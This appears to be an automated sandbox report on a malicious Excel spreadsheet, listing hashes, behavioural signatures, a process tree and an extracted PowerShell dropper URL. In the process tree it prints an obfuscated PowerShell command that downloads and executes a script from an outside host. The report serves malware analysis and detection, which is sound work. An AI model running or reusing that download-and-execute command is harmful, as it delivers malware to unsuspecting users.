Overview

overview

10

Static

static

8

493674902257.xls

windows7_x64

10

493674902257.xls

windows10_x64

10

Analysis

  • max time kernel
    140s
  • max time network
    133s
  • platform
    windows10_x64
  • resource
    win10v20201028
  • submitted
    09/11/2020, 20:57

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General

  • Target
    493674902257.xls
  • Size 287KB
  • Sample201109-vkk82tmlna
  • SHA256 6574309e9e7c496936683f6375b8ae940039249fb2b550d55ca914ea0daabf8f
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://brutecleaner.com/Sheet.ps1

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 14 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\493674902257.xls"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3336
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -Command IEX (New-Object('Net.WebClient')).'DoWnloadsTrInG'('ht'+'tp://brutecleaner.com/Sheet.ps1')
      2⤵
      • Process spawned unexpected child process
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3528

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

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        Downloads

        memory/3336-0-0x00007FFD88930000-0x00007FFD88F67000-memory.dmp
        Download

        memory/3528-2-0x00007FFD82CE0000-0x00007FFD836CC000-memory.dmp
        Download

        memory/3528-3-0x0000015D378B0000-0x0000015D378B1000-memory.dmp
        Download

        memory/3528-4-0x0000015D37C60000-0x0000015D37C61000-memory.dmp
        Download